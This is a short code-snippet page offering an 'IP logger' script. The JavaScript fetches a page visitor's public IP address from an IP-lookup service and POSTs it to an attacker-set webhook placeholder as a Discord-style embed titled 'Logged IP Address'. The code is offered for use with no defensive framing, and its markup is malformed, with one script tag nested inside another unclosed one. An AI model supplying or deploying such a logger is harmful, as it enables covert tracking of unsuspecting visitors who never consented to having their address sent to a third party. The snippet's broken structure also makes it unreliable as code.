ip logger script code example
Example: ip logger script
<script type="application/javascript">
<script type="application/javascript" src="https://api.ipify.org?format=jsonp&callback=getIP"></script>
function getIP(json) {
console.log("My public IP address is: ", json.ip);
var request = new XMLHttpRequest();
const Hook = "URL-HERE";
var request = new XMLHttpRequest();
request.open("POST", Hook);
request.setRequestHeader('Content-type', 'application/json');
var params = {
username: "Sosi",
embeds: [
{ "color": 7506394,
"title": "Logged IP Address",
"description": json.ip
}]
}
request.send(JSON.stringify(params));
}
</script>